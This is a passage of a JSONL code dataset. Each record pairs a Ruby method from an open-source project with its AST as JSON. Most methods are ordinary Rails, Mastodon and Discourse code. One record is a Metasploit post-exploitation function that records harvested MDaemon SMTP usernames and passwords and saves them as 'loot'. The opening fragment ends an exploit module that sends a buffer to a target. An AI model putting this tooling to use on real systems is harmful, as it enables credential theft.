,\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Sending \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[null,\"send_user\",{\"type\":\"lvar\",\"children\":[\"buf\"]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"6cbf50c4-281c-45ad-a375-7be54cc8cb45"} {"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/event_router.rb","start_line":58,"raw_source":"def initialize(pattern, collector)\n patterns = pattern.split(/\\s+/).map { |str| MatchPattern.create(str) }\n @pattern = if patterns.length == 1\n patterns[0]\n else\n OrMatchPattern.new(patterns)\n end\n @pattern_str = pattern\n @collector = collector\n end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pattern\"]},{\"type\":\"arg\",\"children\":[\"collector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"patterns\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s+\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MatchPattern\"]},\"create\",{\"type\":\"lvar\",\"children\":[\"str\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@pattern\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"patterns\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"patterns\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OrMatchPattern\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"patterns\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@pattern_str\",{\"type\":\"lvar\",\"children\":[\"pattern\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@collector\",{\"type\":\"lvar\",\"children\":[\"collector\"]}]}]}]}","id":"53c17569-cffe-4c78-9f8d-81f47480aa2f"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/persistence.rb","start_line":980,"raw_source":"def _raise_record_not_destroyed\n @_association_destroy_exception ||= nil\n key = self.class.primary_key\n raise @_association_destroy_exception || RecordNotDestroyed.new(\"Failed to destroy #{self.class} with #{key}=#{id}\", self)\n ensure\n @_association_destroy_exception = nil\n end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"_raise_record_not_destroyed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@_association_destroy_exception\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"primary_key\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"or\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@_association_destroy_exception\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RecordNotDestroyed\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to destroy \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" with \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]}]}]},{\"type\":\"self\",\"children\":[]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@_association_destroy_exception\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"2094d668-42c6-4b21-b016-36ba1c93bc6e"} {"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/directory_item_serializer.rb","start_line":35,"raw_source":"def include_user_fields?\n @options[:user_custom_field_map].present?\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"include_user_fields?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_custom_field_map\"]}]},\"present?\"]}]}","id":"5ce2da32-974a-4e74-8b6c-d76bd8339e7c"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/spec/seeders/root_seeder_bim_edition_spec.rb","start_line":48,"raw_source":"def group_name(reference)\n root_seeder.seed_data.find_reference(reference)[\"name\"]\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"group_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reference\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"root_seeder\"]},\"seed_data\"]},\"find_reference\",{\"type\":\"lvar\",\"children\":[\"reference\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]}","id":"a043d272-86e1-4cdc-82ee-a84440e77346"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/controller/render_test.rb","start_line":394,"raw_source":"def render_to_string_and_render\n @stuff = render_to_string plain: \"here is some cached stuff\"\n render plain: \"Hi web users! #{@stuff}\"\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"render_to_string_and_render\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@stuff\",{\"type\":\"send\",\"children\":[null,\"render_to_string\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plain\"]},{\"type\":\"str\",\"children\":[\"here is some cached stuff\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plain\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Hi web users! \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stuff\"]}]}]}]}]}]}]}]}","id":"6a43e3a9-45f0-4621-8e59-06660430d455"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/payment.rb","start_line":298,"raw_source":"def add_source_error(field, message)\n field_name = I18n.t(\"activerecord.attributes.#{source.class.to_s.underscore}.#{field}\")\n errors.add(Spree.t(source.class.to_s.demodulize.underscore), \"#{field_name} #{message}\")\n end","complexity_score":20.4,"ast_json":"{\"type\":\"def\",\"children\":[\"add_source_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]},{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"field_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"activerecord.attributes.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source\"]},\"class\"]},\"to_s\"]},\"underscore\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source\"]},\"class\"]},\"to_s\"]},\"demodulize\"]},\"underscore\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field_name\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]}]}","id":"1ee4d516-5fe9-4488-b096-b9be71b1532c"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/validators/form_template_yaml_validator.rb","start_line":54,"raw_source":"def check_missing_fields(record, field)\n if field[\"type\"].blank?\n record.errors.add(:template, I18n.t(\"form_templates.errors.missing_type\"))\n end\n record.errors.add(:template, I18n.t(\"form_templates.errors.missing_id\")) if field[\"id\"].blank?\n end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"check_missing_fields\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"template\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"form_templates.errors.missing_type\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"template\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"form_templates.errors.missing_id\"]}]}]},null]}]}]}","id":"48dead91-8fcf-4b4d-b341-31af6b641e45"} {"repo_name":"forem","file_path":"./repos/forem/app/services/organizations/delete.rb","start_line":3,"raw_source":"def self.call(...)\n new(...).call\n end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"call\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"forwarded_args\",\"children\":[]}]},\"call\"]}]}","id":"e1a7cd5c-293f-499b-a543-853b2dd78e6c"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/mdaemon_cred_collector.rb","start_line":178,"raw_source":"def report_mdaemon_cred(creds, port: 0, service: nil)\n # Build service information\n service_data = {\n # address: session.session_host, # Gives internal IP\n address: session.tunnel_peer.partition(':')[0], # Gives public IP\n port: port,\n service_name: 'smtp',\n protocol: 'tcp',\n workspace_id: myworkspace_id\n }\n # Iterate through credentials\n creds.each do |cred|\n # Build credential information\n credential_data = {\n origin_type: :session,\n session_id: session_db_id,\n post_reference_name: refname,\n private_type: :password,\n private_data: cred[4],\n username: cred[1],\n module_fullname: fullname\n }\n credential_data.merge!(service_data)\n credential_core = create_credential(credential_data)\n\n # Assemble the options hash for creating the Metasploit::Credential::Login object\n login_data = {\n core: credential_core,\n status: Metasploit::Model::Login::Status::UNTRIED,\n workspace_id: myworkspace_id\n }\n\n login_data.merge!(service_data)\n create_credential_login(login_data)\n\n print_status(\" Extracted: #{credential_data[:username]}:#{credential_data[:private_data]}\")\n end\n\n # report the goods!\n loot_path = store_loot(\n 'MDaemon.smtp_server.creds',\n 'text/csv',\n session,\n creds.to_csv,\n \"mdaemon_#{service}_server_credentials.csv\",\n \"MDaemon #{service.upcase} Users Credentials\"\n )\n print_status(\"#{service.upcase} credentials saved in: #{loot_path}\")\n end","complexity_score":37.3,"ast_json":"{\"type\":\"def\",\"children\":[\"report_mdaemon_cred\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"creds\"]},{\"type\":\"kwoptarg\",\"children\":[\"port\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"kwoptarg\",\"children\":[\"service\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"tunnel_peer\"]},\"partition\",{\"type\":\"str\",\"children\":[\":\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"str\",\"children\":[\"smtp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"creds\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cred\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"session\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"session_id\"]},{\"type\":\"send\",\"children\":[null,\"session_db_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_reference_name\"]},{\"type\":\"send\",\"children\":[null,\"refname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_core\",{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"lvar\",\"children\":[\"credential_core\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNTRIED\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"login_data\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"login_data\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" Extracted: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"private_data\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"loot_path\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"MDaemon.smtp_server.creds\"]},{\"type\":\"str\",\"children\":[\"text/csv\"]},{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"creds\"]},\"to_csv\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"mdaemon_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]}]},{\"type\":\"str\",\"children\":[\"_server_credentials.csv\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"MDaemon \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"upcase\"]}]},{\"type\":\"str\",\"children\":[\" Users Credentials\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"upcase\"]}]},{\"type\":\"str\",\"children\":[\" credentials saved in: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loot_path\"]}]}]}]}]}]}","id":"da960eda-55cc-46af-bc84-57977cb50174"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/update_status_service.rb","start_line":113,"raw_source":"def update_immediate_attributes!\n @status.text = @options[:text].presence || @options.delete(:spoiler_text) || '' if @options.key?(:text)\n @status.spoiler_text = @options[:spoiler_text] || '' if @options.key?(:spoiler_text)\n @status.sensitive = @options[:sensitive] || @options[:spoiler_text].present? if @options.key?(:sensitive) || @options.key?(:spoiler_text)\n @status.language = valid_locale_cascade(@options[:language], @status.language, @status.account.user&.preferred_posting_language, I18n.default_locale)\n @status.quote_approval_policy = @options[:quote_approval_policy] if @options[:quote_approval_policy].present?\n\n # We raise here to rollback the entire transaction\n raise NoChangesSubmittedError unless significant_changes?\n\n @status.edited_at = Time.now.utc\n @status.save!\n end","complexity_score":47.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update_immediate_attributes!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"text\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"text=\",{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"text\"]}]},\"presence\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"spoiler_text\"]}]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"spoiler_text\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"spoiler_text=\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"spoiler_text\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"sensitive\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"spoiler_text\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"sensitive=\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sensitive\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"spoiler_text\"]}]},\"present?\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"language=\",{\"type\":\"send\",\"children\":[null,\"valid_locale_cascade\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"language\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"language\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"account\"]},\"user\"]},\"preferred_posting_language\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"default_locale\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"quote_approval_policy\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"quote_approval_policy=\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"quote_approval_policy\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"significant_changes?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NoChangesSubmittedError\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"edited_at=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"save!\"]}]}]}","id":"5cf5efe5-43be-4f15-9796-c56dd93252e0"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/concerns/user/pam_authenticable.rb","start_line":62,"raw_source":"def self.authenticate_with_pam(attributes = {})\n super if Devise.pam_authentication\n end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"authenticate_with_pam\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"attributes\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Devise\"]},\"pam_authentication\"]},{\"type\":\"zsuper\",\"children\":[]},null]}]}","id":"d74a4e4d-eca9-46cb-bdb1-e7d751a31c14"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/autosave_association_test.rb","start_line":882,"raw_source":"def test_circular_autosave_does_not_validate_children\n person = Class.new(ActiveRecord::Base) {\n self.table_name = \"readers\"\n validate :should_be_funny\n def self.name; \"Reader\"; end\n\n attribute :catch_phrase, :string\n attribute :reader_id\n\n has_many :children, autosave: true, anonymous_class: self\n belongs_to :parent, autosave: true, anonymous_class: self\n\n private\n def should_be_funny\n unless catch_phrase == \"funny\"\n errors.add :base, \"not funny\"\n end\n end\n }\n c = person.new(catch_phrase: \"boring\")\n c.children << c\n c.post_id = 0\n c.person_id = 0\n c.save\n\n assert_not_predicate c, :persisted?\n assert_not_predicate c, :valid?\n end","complexity_score":20.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_circular_autosave_does_not_validate_children\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"person\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"table_name=\",{\"type\":\"str\",\"children\":[\"readers\"]}]},{\"type\":\"send\",\"children\":[null,\"validate\",{\"type\":\"sym\",\"children\":[\"should_be_funny\"]}]},{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Reader\"]}]},{\"type\":\"send\",\"children\":[null,\"attribute\",{\"type\":\"sym\",\"children\":[\"catch_phrase\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]},{\"type\":\"send\",\"children\":[null,\"attribute\",{\"type\":\"sym\",\"children\":[\"reader_id\"]}]},{\"type\":\"send\",\"children\":[null,\"has_many\",{\"type\":\"sym\",\"children\":[\"children\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"autosave\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"anonymous_class\"]},{\"type\":\"self\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"belongs_to\",{\"type\":\"sym\",\"children\":[\"parent\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"autosave\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"anonymous_class\"]},{\"type\":\"self\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"private\"]},{\"type\":\"def\",\"children\":[\"should_be_funny\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"catch_phrase\"]},\"==\",{\"type\":\"str\",\"children\":[\"funny\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"str\",\"children\":[\"not funny\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"c\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"person\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"catch_phrase\"]},{\"type\":\"str\",\"children\":[\"boring\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"children\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"post_id=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"person_id=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"save\"]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{